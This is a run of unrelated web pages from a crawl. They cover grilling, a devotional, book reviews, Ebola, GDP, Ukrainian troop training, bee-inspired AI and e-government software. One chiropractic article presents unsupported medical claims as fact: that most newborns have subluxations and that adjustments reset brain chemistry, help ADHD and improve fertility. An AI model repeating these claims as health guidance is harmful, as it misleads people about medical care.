In many cases, what is considered odd grilling for one person is going to seem perfectly normal for another. Much of it can come down to culture and the types of foods that a person was raised eating. If you travel the world and talk to enough grillers, you are bound to find some meats and grilling ideas that seem odd by your own taste. If you have tried grilling any strange meats, then tell us about it in the comments section. | <urn:uuid:cfce3d1a-195d-42aa-ab1a-fc6565198645> | CC-MAIN-2022-33 | https://gourmetgrillmaster.com/oddest-grilled-meat/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.973937 | 660 | 1.929688 | 2 |
Evening, August 20, edited from Spurgeon’s Morning and Evening
“And they fortified Jerusalem as far as the Broad Wall.” — Nehemiah 3:8
Well-fortified cities have broad walls, and so also did Jerusalem in her glory. The New Jerusalem must, in the same manner, be surrounded and preserved by a broad wall of nonconformity to the world, and separation from its customs and attitude. These days tend to break down the holy barrier, and make the distinction between the church and the world merely nominal. Professing believers are no longer disciplined and moral, questionable literature is read all around, trivial and shallow pastimes are often indulged, and a general negligence threatens to deprive the Lord’s special people of the sacred distinctiveness which separates them from sinners. It will be a sad day for the church and the world when such a consolidation shall be complete, and the sons of God and the daughters of men shall be as one: then shall another deluge of wrath be ushered in. Beloved reader, make it your aim in heart, in word, in dress, in action to maintain the broad wall, remembering that the friendship of this world is hostility against God.
The broad wall allowed a pleasant place of respite for the inhabitants of Jerusalem, from which they could command panoramas of the surrounding country. This reminds us of the Lord’s exceedingly broad commandments, in which we walk at liberty in communion with Jesus, overlooking the scenes of earth, and looking out towards the glories of heaven. Even while we are separated from the world, and denying ourselves all ungodliness and sensuous lusts, nevertheless we are not in prison, nor restricted within narrow constraints; indeed, we walk at liberty, because we keep his teachings. Come, reader, this evening walk with God in reading his statutes. As friend met friend upon the city wall, so meet your God in the way of holy prayer and meditation. You have a right to travel the ramparts of salvation, for you are a freed man of the royal city, a citizen of the metropolis of the universe. | <urn:uuid:975c948f-641c-4e49-898f-e1260b4b2131> | CC-MAIN-2022-33 | https://gloriousgrace.com/2017/08/20/evening-august-20/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.942059 | 438 | 2.046875 | 2 |
All her short life, Neen has heard the rumors. They say her mother was a mermaid, a merrow. They say that when her father drowned, her mother followed him back to her home on the ocean floor. Neen’s tight-lipped Auntie Ushag swears there’s nothing to the gossip, but Neen isn’t so sure. The sea’s swelling waves beckon her in a way she doesn’t quite understand. And if her mother were a merrow, it would certainly explain the strange, almost scaly skin condition that covers both her arms.
Packed with adroitly selected physical details and stirring, folklore-inspired nested narratives, Ananda Braxton-Smith’s Merrow follows Neen on her journey of discovery and self-realization. From skeletons in caves to colloquial yarns about local sea monsters, each encounter forces Neen to reconsider her world and her place in it. Is her island home full of merrows and other fantastical beings, or just everyday people struggling to understand their everyday lives? Is she the offspring of a mermaid returned to sea, or just the daughter of a depressed widow who couldn’t bear to live without her husband?
As Neen tries to parse the real from the imaginary and the mythic from the mundane, she comes to understand the power of stories—how they can bind and destroy us, or shape and sustain us. | <urn:uuid:4e6e2a38-4bc5-4526-8c16-f2d84b582555> | CC-MAIN-2022-33 | https://www.bookpage.com/reviews/20570-ananda-braxton-smith-mermaids-myth-magic-historical-fiction/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.959921 | 303 | 1.570313 | 2 |
Clinico-Pathologic Conferences | Open Access
Haiqing Chu, Xianghua Yi, Lan Zhao, Tao Gui, Xia Fang, Xiwen Sun, "Atypical Lung Parenchymal Bronchogenic Cyst Complicated by Tuberculosis Infection", Canadian Respiratory Journal, vol. 19, Article ID 782373, 2 pages, 2012. https://doi.org/10.1155/2012/782373
Atypical Lung Parenchymal Bronchogenic Cyst Complicated by Tuberculosis Infection
A bronchogenic cyst (BC) is a rare congenital lesion that may cause life-threatening organ compression in children, but is generally asymptomatic in adults unless there are other complications. In the present report, a 34-year-old woman in whom a BC was complicated by tuberculosis infection is described. Due to the small size of the BC, it was asymptomatic and could not be diagnosed until she was treated with antituberculosis medications.
Copyright © 2012 Hindawi Publishing Corporation. This is an open access article distributed under the Creative Commons Attribution License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. | <urn:uuid:a7568a0a-8c1f-416d-a2e9-65d0be761ba3> | CC-MAIN-2022-33 | https://www.hindawi.com/journals/crj/2012/782373/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.908581 | 268 | 1.5 | 2 |
As you know, we’re all about multiple pets in our household. With two dogs and four cats, there’s always something going on here, from dogs playing chase to cats curled up and napping together (and, sometimes, dogs and cats curled up napping together!)
To celebrate the special bond and joy of multiple pets in a household, Pets Add Life (PAL) officially designated November 19 as National Get a Pal For Your Pet Day!
Benefits of Multiple Pets
We know you’ve heard many of the benefits of having a pet–from lowering your blood pressure to reducing depression–but we wanted to tell you some of the benefits we’ve found not just of having a pet but also of sharing our home with multiple pets!
Having multiple pets helps prevent separation anxiety.
Yes, we get “the look” from our dogs when we leave the house but our dogs don’t show separation anxiety when we’re gone. They’re wonderful company for each other and Tiki is a calming force for Irie, who is more anxious.
Having multiple dogs can speed up training time.
We had Irie for six months before we adopted Tiki and had taken her to clicker training classes before Tiki’s arrival. When we got Tiki, her training was speedy, partly because she watched Irie for cues to what she should do.
Having multiple cats helps socialization.
We’ve often written about our cat Felix, who was a feral cat when we adopted him. To help bring him into the family, we soon adopted the most outgoing kitten we could find at the shelter–now named Linus. Soon Felix was watching Linus interact with us and his trust in us grew.
Having multiple pets brings some volume savings.
We have a discount at our veterinarian’s office for having more than one pet, and we’re able to take advantage of large size purchases–from large containers of cat litter to large pet food bags–because we know we’ll go through it quickly.
Having multiple pets takes some pressure off of us.
Although we’re home all day with our pets, we sometimes get busy writing…but, at the same time, we see our cats and dogs playing with one another. They’re not just waiting for us to stop work and play with them, which they know is coming, but in the meantime they amuse each other.
Having multiple pets is always a learning experience.
Watching our pets interact with each other is educational and entertaining. We’ve learned so much about body language of canines and felines from just watching the cats and dogs as they go through their daily routine. | <urn:uuid:a96ae81e-324e-45a7-bfaf-b18be66c4657> | CC-MAIN-2022-33 | https://www.dogtipper.com/travel/2011/11/national-get-a-pal-for-your-pet-day-nov-19-2011.html | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.95979 | 567 | 2.03125 | 2 |
Ebola is spreading in a western province in the Democratic Republic of the Congo (DRC), raising fears that the disease could reach neighbouring Republic of Congo and even the capital, Kinshasa, the World Health Organization (WHO) said on Friday.
The outbreak in Equateur Province emerged in early June and has now spread into another of its 17 health zones, bringing the total number of affected zones to 12. So far, there have been 113 cases and 48 deaths.
“The most recently affected area, Bomongo, is the second affected health zone that borders the Republic of Congo, which heightens the chances of this outbreak to spread into another country”, said WHO Spokesperson, Fadéla Chaib, underlining the need for cross-border collaboration and coordination.
The risk of the disease spreading as far as Kinshasa is also a very real concern for the UN agency. One of the affected areas, Mbandaka, is connected to the capital by a busy river route used by thousands every week.
Logistical challenges, community resistance
This is the second Ebola outbreak in Equateur Province and the 11th overall in the DRC, which recently defeated the disease in its volatile eastern region after a two-year battle.
This latest western outbreak first surfaced in the city of Mbandaka, home to more than one million people, and subsequently spread to 11 health zones, with active transmission currently occurring in eight.
The health zones all border each other and cover a large and remote area often only accessible by helicopter or boat.
Managing response logistics in Equateur is difficult as communities are very scattered. Many are in deeply forested areas and reaching them requires travelling long distances.
In some areas, community resistance is also a challenge, Ms. Chaib added.
“We learned over years of working on Ebola in DRC how important it is to engage and mobilize communities. WHO is working with UNICEF in engaging religious, youth and community leaders to raise awareness about Ebola,” she said.
Health workers on strike
The situation has been further complicated by a health worker strike that has affected key response activities for nearly four weeks.
Locally based Ebola responders have been protesting against low salaries as well as non-payment since the start of the outbreak.
Although some activities have resumed, many are still on hold, making it difficult to get an accurate picture of how the epidemic is evolving and which areas need the most attention.
Response ‘grossly underfunded’
WHO and partners have been on the ground since the early days of the outbreak.
More than 90 experts are in Equateur, and additional staff have recently been deployed from the capital, including experts in epidemiology, vaccination, community engagement, infection prevention and control, laboratory and treatment.
Nearly one million travellers have been screened, which helped identify some 72 suspected Ebola cases, thus reducing further spread.
However, the UN agency warned that response is “grossly underfunded”. WHO has provided some $2.3 million in support so far, and has urged donors to back a $40 million plan by the Congolese government.
This latest Ebola outbreak is unfolding amidst the COVID-19 pandemic. As of Friday, there were more than 10,300 cases and 260 deaths across the vast African nation.
While there are several similarities in addressing the two diseases, such as the need to identify and test contacts, isolate cases, and promote effective prevention measures, Ms. Chaib stressed that without extra funding, it will be even harder to defeat Ebola.
SOURCE: UN NEWS | <urn:uuid:8262a43b-4e12-4e39-959a-9197f5c1b4e8> | CC-MAIN-2022-33 | https://devgoalsafrica.org/news-updates/who-warns-against-potential-ebola-spread-in-dr-congo-and-beyond/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570879.37/warc/CC-MAIN-20220809003642-20220809033642-00673.warc.gz | en | 0.971021 | 742 | 2.359375 | 2 |
A Best Book of the Year at The Guardian, The Sunday Times, Poetry School, New York Public Library, and Entropy Magazine
Winner of the Ted Hughes Award, Rathbones Folio Prize, and Somerset Maugham Award; finalist for the Griffin Poetry Prize and Reading the West Book Award
In the wake of his father’s death, the speaker in Raymond Antrobus’ The Perseverance travels to Barcelona. In Gaudi’s Cathedral, he meditates on the idea of silence and sound, wondering whether acoustics really can bring us closer to God. Receiving information through his hearing aid technology, he considers how deaf people are included in this idea. “Even though,” he says, “I have not heard / the golden decibel of angels, / I have been living in a noiseless / palace where the doorbell is pulsating / light and I am able to answer.”
The Perseverance is a collection of poems examining a d/Deaf experience alongside meditations on loss, grief, education, and language, both spoken and signed. It is a book about communication and connection, about cultural inheritance, about identity in a hearing world that takes everything for granted, about the dangers we may find (both individually and as a society) if we fail to understand each other.
About the Author
Raymond Antrobus was born in London to an English mother and Jamaican father. He was awarded the 2017 Geoffrey Dearmer Prize, judged by Ocean Vuong, as well as the 2019 Sunday Times/University of Warwick Young Writer of the Year Award. His second full-length collection of poems, All The Names Given, is forthcoming from Tin House and Picador in 2021. Raymond is currently based between London and Oklahoma City.
Intimate and searching.
— The New York Times Book Review
Raymond Antrobus's compelling debut, The Perseverance, confronts deeply rooted prejudice against deaf people.
— The Guardian
Remarkable. Antrobus, who was born deaf, writes about grief, race and violence in lines that are startlingly immediate and provocative. — The Washington Post
The Perseverance relates Antrobus’s experiences of being biracial and d/Deaf in sharp and beautiful poems. . . . These poems are expressive and beautiful and will leave readers thinking differently about sound and silence.
Stunning. — New York Public Library
Antrobus can be gentle, tactile, and pointed in this book—which collects into an affirmation, a pronouncement. — The Millions
Outstanding. — Chicago Review of Books
Emotionally textured and sonically charged. . . . the poem [‘Sound Machine’] gyrates through interrogations of grief and ancestry twinned with a brooded meditation on masculinity and selfhood. — Ocean Vuong, author of On Earth We're Briefly Gorgeous
This book is a gift, for how it repurposes my understanding of treacherous feelings, and shapes them into something worth sticking around for. — Hanif Abdurraqib, author of A Fortune For Your Disaster
The Perseverance is an insightful, frank and intimate rumination on language, identity, heritage, loss and the art of communication. . . . These are courageous autobiographical poems of praise, difficulties, testimony and love.
— Malika Booker, author of Pepper Seed
Honest, raw and striking. . . . Antrobus captures the feeling of isolation that comes with navigating a world not made for everyone who exists within it. — Arkansas International
Clear, unflinching. . . . We expand our comprehension of humanness in encountering these poems, and recognize the limits of language that is only spoken and heard—The Perseverance is language embodied and utterly present.
— Orion Magazine, Khadijah Queen Recommends
An extraordinary debut. — Entropy Magazine
An affecting, accessible, and astonishingly raw collection of poems. — October Hill Magazine
A memorable collection. . . . Antrobus interlaces wit and pathos as he examines his identity as a deaf British Jamaican man in a world between sign language and speech. — The Sunday Times
Insightful. — Cool Hunting
A poet who traverses a diversity of worlds. — Colorlines
At every turn, Antrobus pushes back against flattening, against the tidy narrative—an invidious Ted Hughes poem gets radically revised, an aunt’s misheard utterance becomes ‘a faint fog horn, a lost river.’ It’s magic, the way this poet is able to bring together so much—deafness, race, masculinity, a mother’s dementia, a father’s demise—with such dexterity. — Kaveh Akbar
It channels Danez Smith, Malika Booker and Caroline Bird, in formal poems, erasures, free verse, innovative use of Makaton symbols, translation, prose, and a blackout version of Ted Hughes’ ‘Deaf School’; probably the best poem I read all year, and it doesn’t even have any words in it. — Will Barrett, Poetry School | <urn:uuid:333002a9-7077-402f-9c7c-b45bb515b2c1> | CC-MAIN-2022-33 | https://www.booksinc.net/book/9781951142421 | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.926211 | 1,079 | 1.796875 | 2 |
Recalibrate The Brain With Chiropractic
When most people think of chiropractic, they think of the spine. It’s common knowledge that chiropractic adjustments are great for relieving pain. The majority of patients initially seek chiropractic care due to back pain, neck pain or Headaches. And the results are astonishing. The overwhelming majority of chiropractic patients are extremely pleased with their results, even with severe conditions when no other health providers could help them. And yet, these outstanding results are the tip of the iceberg. We now know that many significant, far-reaching health benefits can be achieved through chiropractic adjustments. Here’s the how and why simplified:
The limbic system is the area of the brain that maintains balance throughout your body. It is incredibly important. The limbic system is composed of structures in the brain that deal with emotions of anger, happiness, fear, as well as memories. The hypothalamus and hippocampus are the two most important parts of the limbic system. The hypothalamus is the “brain” of the brain and is the most intricate and perhaps amazing part of the brain. The hypothalamus is where the nervous system and the endocrine system (glands that secrete hormones) meet and talk.
The effectiveness of the hypothalamus is directly proportional to the functional capability of the nervous system to send and receive nerve messages, and especially to maintain the integrity of those nerve messages as they travel along the spinal cord.
THE SPINAL CORD AND NERVE INTERFERENCE
The spinal cord is both a cable and a switchboard. As a cable, it connects the brain with the rest of the nerves in the body. As a switchboard, it coordinates muscle movement, reflexes, and virtually all bodily functions. The spinal cord is a direct extension of the brain. The spinal column consists of 24 movable vertebrae. The 2 basic purposes of the spinal column are to protect the spinal cord and to allow movement. Because the vertebrae are moveable, they are also susceptible to certain stresses and forces which can cause them to lose their proper alignment. These misalignments are called vertebral Subluxations and they lead to damaging stress in the nervous system. Subluxations have 3 causes:
- Physical: traumas, injuries, impacts, and overuse.
- Mental and emotional stress
- Toxic (chemical) stress
The most common subluxation is caused by the birth process, with over 80% of newborns suffering from subluxation. This is why it is so important for babies to be checked at birth or as soon thereafter as possible. When we are subluxated, there is interference to the normal flow of nerve impulses. This can cause either too much or too little nerve activity to the brain.
And then what?
SUBLUXATIONS CAUSE TWO KINDS OF STRESS IN THE BRAIN
- Physical stress from the abnormal pressure on the spinal structures surrounding the vertebra
- Chemical stress from the build-up of inflammation that accumulates in the spinal structures, nerves, and Brain. Whenever you are subluxated, bad, noxious information goes into the brain. So, in an effort to protect itself, the brain releases stress hormones, Cortisol and Adrenalin. This is a very good thing short-term and it could save your life. But if this “Stress Response” goes on long-term, these chemicals will kill you. This “Stress Response” is the same if you are in a terrible marriage, caring for a sick family member, fighting in a war, or if you are subluxated. The damage is the same. The Hippocampus and Hypothalamus are damaged. In particular, Dopamine, Serotonin, and Oxytocin are not released when Cortisol and Adrenalin are high.
Dopamine (released from the Hypothalamus) needs to be at the proper level for happiness. It is associated with anticipation. If it is too low, we become sad and depressed. If it’s too high, it can result in aggression and in severe cases, schizophrenia. If your levels are off, you aren’t comfortable in your own skin. In a child, low dopamine can cause irritability, restlessness and even ADHD. It makes sense that children should be checked for subluxations regularly and explains why so many adults and children with learning disorders respond to chiropractic care.
Serotonin is considered a hormone and neurotransmitter and is associated with mood, sleep, sexual desire, memory and pain. The more serotonin you have, the less pain you have. This explains why stressed people go into depression easily. Stressed people also crave carbohydrates, which gives them a short-term release of serotonin. Most of the body’s serotonin (80-90%) is found in the Gastrointestinal tract.
Oxytocin is the hormone that helps you attach and bond. Everyone has it, but women have it in higher levels than men. Oxytocin prevents depression and stops aggression, fear, and the “Stress Response”. It allows uterine contractions. This is one reason why chiropractic care is so beneficial to pregnant women. Oxytocin is released by touch. Think about what happens during the adjustment. Hands on care. If you want to calm a distressed person, you touch them.
CHIROPRACTIC ADJUSTMENTS HAVE A DIRECT EFFECT ON THE HEALTH OF THE BRAIN
It’s not about putting a bone back in place. What happens is that when we adjust a subluxated spine, we stop the negative stress hormones from flooding the body. When we do not adjust a subluxation, the “Stress Response” continues. This results in high levels of Cortisol and Adrenalin which interfere with our entire hormonal system. Our “happy” hormones, Serotonin, Dopamine and Oxytocin are not released.
Men and women do not have the same stress responses. In men, high levels of Cortisol and Adrenalin lead to “Fight or Flight”, an aggressive state. This explains why men go to their “man cave” when stressed. Long term, prolonged stress is very bad for overall health and will lead to an early death. In women, stress leads to increased Oxytocin levels which results in “Tend and Befriend” behaviors.
Although men and women have different stress responses, the result of long term stress, whether it is from subluxation, a bad marriage, a sick family member, a bad job, PTSD, or any other of the many possible stressors, is that it interferes with the brain’s ability to release the proper chemicals and hormones to keep us healthy. When we are stressed, the body sends the blood and nerve flow to the musculoskeletal system, the heart and the brain. This is good in the short term, but will kill you in the long term. There is only so much blood in our bodies. The blood flow is taken away from digestion, reproduction, elimination and the immune system. This can interfere with your body’s ability to digest food, stay healthy, reproduce, and fight off infection. The chiropractic adjustment resets the chemistry of the brain and re-allocates blood flow back to the areas of the body that need it. This reset allows the frontal cortex to work better, so you have a better cognitive function. Because Cortisol and Adrenalin are not elevated, your memory, learning, gastrointestinal and immune function work better.
Every single adjustment recalibrates the brain to do what it should be doing. This is why people who are under regular Chiropractic care tend to have a happier state of mind. They handle stress better. They concentrate and learn better. They get pregnant more easily. They have babies more easily. They even undergo surprising personality changes. It’s so much more than getting rid of the pain. That’s the easy part. The real long term benefits of regular chiropractic care are better brain function, healthier immune system, and overall higher quality of life. Enjoy all the benefits regular chiropractic care has to offer. You deserve it.
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TRENTON, Canada (AA) – Canada has said that it will send up to 225 military personnel to the UK to join in training as many as 10,000 new Ukrainian troops.
The Ukrainians will undergo about five weeks of military instruction from Canadian and UK personnel designed to hone them into battle-ready troops, Canadian Defense Minister Anita Anand announced at a news conference.
The UK made the promise of more troop training to the war-besieged county in June. Ukrainian President Volodymyr Zelenskyy had also pressed Canada for the training after similar instruction in Ukraine was halted six months ago as Russian soldiers surged into neighboring Ukraine.
The training will include the operation of four M777 howitzers Canada sent to Ukraine earlier this year. There will also be cyber instruction by the Canadian Communications Security Establishment.
Anand said the training of “new Ukrainian military troops” is imperative as the Russia-Ukraine conflict enters a “new and dangerous phase.”
She also reaffirmed that Canada will send Ukraine 39 specially outfitted Canadian-made armored vehicles as they roll off the assembly line.
The Canadian troops will leave Canada on August 25 to begin training at a military base in southeast England, said Anand. | <urn:uuid:86c526c4-0bf7-4dca-8aa0-5a8513d1b556> | CC-MAIN-2022-33 | https://www.muslimnetwork.tv/canada-to-join-training-of-ukraine-troops-in-uk/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882571745.28/warc/CC-MAIN-20220812170436-20220812200436-00473.warc.gz | en | 0.975428 | 253 | 1.507813 | 2 |
Brains on Board project is ‘bio-inspired’ by the neural network of bees to close the gap between computer chip design and real-brain technology.
A honeybee brain has one million neurons. This may sound like a lot but it is far fewer than the 84 billion in a human brain.
Video credit: EPSRC
On-screen captions and an autogenerated transcript of the video is available on YouTube.
Communicating directions to pollen
Despite having a comparatively low brain capacity it is able to navigate up to around 10 kilometres, find a source of pollen, then return to the hive without getting lost. What’s more it ‘records’ the journey and is able to communicate the directions to its new pollen source to other bees through a complex ‘waggle dance’.
Professor of Theoretical and Computational Biology at the University of Sheffield and project lead James Marshall said:
That’s really tremendously impressive with a brain that’s the size of a pinhead.
Drones with bee abilities
The multi-university team behind Brains on Board first received funding from the Engineering and Physical Sciences Research Council (EPSRC) to develop drones with the learning ability of bees.
Robots used in the first study had to be linked to computers which would analyse the visual and spatial data and learn to navigate a route up to 3km. But developments in mobile phone and tablet technology meant the flying robot could now process the information itself.
It’s not any longer about wireless telemetry, it is a fully untethered autonomous system. Hence the naming of the project: Brains on Board.
Broadening the project’s scope
The second tranche of EPSRC funding allowed Brains on Board to bring its neural research in house.
Researchers from Queen Mary University of London (QMUL) are attaching miniature radar transponders to bees and tracking their flight with a harmonic radar system. They are working at the Rothamsted Agricultural Research station, an institute which receives strategic funding from the Biotechnology and Biological Sciences Research Council.
At The University of Sheffield they are carrying out their own insect behaviour experiments. They are gathering neural recordings from a bee while it completes tasks when presented with stimuli such as colours or moving patterns. Some of this new research is even debunking a previously held theory of how bees solve maths problems.
Third-wave AI: bio-inspired brains
We’re reaching the limits of how small silicon components can be.
As Moore’s Law (that computing power doubles every two years) comes to an end there is a new approach to artificial intelligence (AI) which understands how neural networks are created.
For Marshall, the honeybee represents the “sweet spot for how small its brain is and how much interesting behaviour it generates.”
Whereas second-generation AI was concerned with feeding computer systems vast amounts of data, a silicon system that adapts to fit its environment is the next stage.
This mapping of the honeybee brain and its possible commercial application of ‘natural intelligence’ to other products for robot manufacturers and developers has led to Brains on Board spinout company Opteran.
Brains on Board in the real world
For Marshall, there are some clear advantages for Brains on Board autonomous robots that can learn about their environment.
One application of this may be in a search and rescue operation. For example, when a building collapses, floor plans are no longer reliable and new routes could also appear. Rather than painstakingly mapping the new landscape with 3D light detection and ranging (LiDAR), Brains on Board robots could quickly learn the most efficient route to survivors.
The next area of research for Brains on Board might be to learn from the bees’ notorious ‘waggle dance’ with a fleet of autonomous robots able to communicate complex navigation more efficiently.
Many of the challenges in AI and autonomous systems require multidisciplinary approaches. Both in terms of growing foundational capabilities and in developing technologies to address real world challenges for society, the economy and the environment.
The UK is well positioned to meet these challenges and has recently announced a £34 million investment into the National AI Strategy designed to:
- boost business use of AI
- attract international investment
- develop next generation of tech talent.
We are working across UKRI to increase our understanding of the challenges and opportunities, seeking to create an ecosystem where disciplines work together to address key research questions.
The UKRI statement of opportunities on AI, published in early 2021, sets out our vision for AI and our aspiration to play a key role in realising its potential.
Find out about the opportunities that AI offers in our AI review: Transforming our world with AI.
Most animals have a basic system for registering harmful environmental conditions or injury, but what happens as a result of that signal depends on the species.
In humans, nerves in our hand might detect contact with a hot oven, for instance. That signal passes from the finger to the spine, where motor neurons pull your hand away before pain is even experienced. The signal then passes to the brain where it becomes part of what we experience as pain.
Honeybees respond reflexively to harmful things in their environment, but because we don’t see any changes in their brains, many scientists don’t consider them to feel pain.
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ENAO Core Competencies
For use in EDs as a reference tool to guide initial education, continuing competence assessments, hiring practices and other related activities. Thanks to Deb Mitchell for her work and leadership on this project.
Download ENAO Core Competencies PDF
The Pregnancy & Infant Loss Network
(PAIL) has patient information booklets which may be useful for your facility. They may be ordered here:
Order PAIL Brochures
The Ontario Neurotrauma Foundation
(ONF) has released Standards for Post-Concussion Care: from diagnosis to the interdisciplinary concussion clinic. The ONF Standards for Post-Concussion Care focus on guiding delivery of the right care, provided at the right time by the right provider anywhere in Ontario and ENAO has been a stakeholder in development. Please go to:
http://ConcussionsOntario.org to see the 15 Standards. Guidelines for concussion care are also available. | <urn:uuid:47be6ad3-4999-41e1-9a82-e4666f98c969> | CC-MAIN-2022-33 | https://www.enao.ca/ | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.905398 | 195 | 1.554688 | 2 |
A summer of modest economic growth is helping dispel lingering fears that another recession might be near. Whether the strength can be sustained, though, is far from clear.
Buoyed by a resurgent consumer and strong business investment, the economy expanded at an annual rate of 2.5 percent in the July-September quarter, the government said Thursday.
The expansion, the strongest quarterly growth in a year, came as a relief after anemic growth in the first half of the year and weeks of wild stock market shifts.
The economy must grow at nearly double the third-quarter pace to lower high unemployment, which has been near 9 percent for the more than two years since the recession officially ended.
And though consumer spending was triple the level of the second quarter, Americans earned less, on an inflation-adjusted basis, in the July-September period. That meant that many people financed their spending binges by cutting back on savings. Few economists think that can continue.
Economists believe that growth in consumer spending, which accounts for about 70 percent of economic activity, will be restrained until incomes start growing at healthier levels. That is unlikely until hiring picks up.
Paul Ashworth, chief U.S. economist for Capital Economics, predicts that growth will cool off in the fourth quarter and next year.
Nonetheless, the report on U.S. gross domestic product, or GDP, sketched a more optimistic picture for an economy that only two months ago seemed destined for another recession.
And it was delivered on the same day that European leaders announced a deal in which banks would take 50 percent losses on Greek debt and raise new capital to protect against defaults on sovereign debt.
Stocks surged on the European deal and maintained their gains after the report on U.S. growth was released.
"This has been a morning of encouraging news," said Jennifer Lee, a senior economist for BMO Capital Markets. "The fourth quarter may see some pullback in U.S. economic growth … but the positive details underlying the GDP report should help ease fears of a U.S. recession..somewhat."
Consumers helped drive much of the growth. They spent at an annual rate of 2.4 percent. Many bought more furniture and clothing.
And spending on services rose 3 percent, the most in more than five years. Much of the gain was due to consumers paying more for health care and to cool their homes during an unseasonably hot summer.
Still, after-tax incomes adjusted for inflation fell at a rate of 1.7 percent in the summer. It was the biggest decline since the third quarter of 2009 — just as the recession was ending.
Businesses also helped boost third-quarter growth by stepping up their investment in equipment and software. That category surged 17.4 percent — nearly three times the rate from spring. They also invested more in building, a sign that some businesses could be expanding despite the sluggish economy.
The GDP report measures the country's total output of goods and services. It covers everything from bicycles to battleships, as well as services such as haircuts and doctor's visits.
In August, many feared the economy was destined for another recession after the government said growth fell to less than 1 percent for the first six months of the year.
High gas prices, the growing debt crisis in Europe and wild fluctuations in the stock market also contributed to those fears, which have receded in recent weeks after reports showed improvements in hiring and consumer spending.
Economists project an annual growth rate of 2.5 percent to 3 percent for the October-December quarter and for all of next year — just enough to keep the unemployment rate from rising.
For the 14 million people who are out of work and want jobs, that's discouraging news. And it's an ominous sign for President Barack Obama, who will be facing voters next fall.
There have been some encouraging signs.
A measure of business investment plans rose in September for the second straight month and by the most in six months, according to a government report Wednesday on orders for longer-lasting manufactured goods.
And consumers stepped up their spending on retail goods in both July and September. The main reason for the September gain was more people bought new cars, a purchase people typically make when they are confident in their finances.
Economists warned that even their modest assessment of growth of around 2.7 percent for next year will fall short if the European debt crisis isn't resolved. And the outlook could dim further if U.S. lawmakers allow a Social Security tax cut and extended unemployment benefits to expire at the end of this year. | <urn:uuid:84d13286-83db-40f1-8900-d8fdb9d00b16> | CC-MAIN-2022-33 | https://www.ibj.com/articles/30441-economy-grew-2-5-percent-in-third-quarter | s3://commoncrawl/crawl-data/CC-MAIN-2022-33/segments/1659882570692.22/warc/CC-MAIN-20220807181008-20220807211008-00673.warc.gz | en | 0.973016 | 948 | 1.648438 | 2 |
Landing Force Definition - MilitaryDictionary.org
1.) A Marine Corps or Army task organization, which is part of the amphibious force, formed to conduct amphibious operations.
- see also task organization
In the United States, military vocabulary is standardized by the Department of Defence. These terms are used by the United States Army, Navy, Air Force, and Marine Corps.
Term Classification: operations
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Governments are realizing the opportunities that digital administration offers to citizens. Better, faster services using digital tools that save time and money are being rolled out everywhere you look, but progress is uneven.
In a country like Estonia, you can renew your driver's license while waiting to board a bus. That small eastern European nation was forced to go digital decades ago when they were trying to extricate themselves from the Soviet Union and establish their own identities. In other countries, success has been harder to come by. Digital services can often be unreliable or complicated without saving the user much time, instead, they are seen as one more box to be ticked without really making life any easier for citizens.
While we have all the tools we need to create incredible e-government right here and now, for example, online form submissions, virtual queue management, and appointment scheduling, the reality is that there is still a long way to go before they are implemented in ways that make digital transformation a reality and produce a slicker, more friendly public service that benefits everyone.
Harnessing the Tools of Digital Transformation
The public sector would benefit from streamlining its service options via mobile communication, thus making it necessary for customers to have access to the services on their mobile devices.
Download the Whitepaper: How to Connect with Customers Anywhere Using Q-Anywhere
There is a very real opportunity to disrupt the outdated, inefficient bureaucratic machinery that runs so many communities and replace it with a paper-free, digital interface, after all, these systems were built to process information, store data safely, and remove the massive headache of human error.
Two areas of the public sector will really benefit the most from digital transformation:
- E-administration: the improvement of public services thanks to the collection of data and management of information
- E-services: facilitating citizens' interaction with their local government by allowing public documents, certificates, and licenses to be requested and processed
Seizing the digital opportunity to achieve these goals requires teams of talented individuals and decent budgets in order to make the transformation successful.
One of the biggest challenges facing the public sector is the need to draw citizens away from the corporate sector where they are well paid and incentivized.
Not only does the public sector require experienced workers and integrated digital tools, but the existing workforce must learn new methods, strategies, and culture, not in their daily habits.
This is an age-old problem for the public sector, but it does seem to be changing. The government is aware of the need to be competitive. Running cloud-based services like queue management and appointment scheduling require smaller in-house IT departments and less money spent on computer hardware to keep them running - thus freeing up funds that can be used to secure talented public sector workers.
Moving from Doing Digital to Being Digital
Many departments and administrators in the public sector are already well down the road in this process. People have been trying to solve the problems of administration using digital tools for a few decades with mixed results.
Bay County, Florida is a great example of a municipality getting it right. Their tax collectors’ offices served 200,000 people on a regular basis on everything from drivers licenses to concealed weapons permits.
But they were struggling to cope. They couldn’t manage constituents in their queues or make transfers between queues, and constituents weren’t receiving text message notifications. There was also no way to support virtual appointments or reports that allowed the Bay County Tax Collectors team to dig down into fundamental data and analyze trends.
Read the Bay County Tax Collector case study.
The Bay County administrators searched for a solution and came across Q-Flow from ACF Technologies, which looked like a natural fit to improve customer flow, increase productivity, and save time for both constituents and employees. ACF got to work, assigning a dedicated team to conduct fact-finding workshops and create solutions.
After only a few weeks, the Bay County Tax collectors’ offices were thrilled with the results. More accurate wait time forecasts helped them to allocate their workforce more efficiently, mobile appointment rescheduling was hugely impactful for consumers, and the reports they were getting in real-time improved overall decision making and saved money.
Dealing With the Pandemic
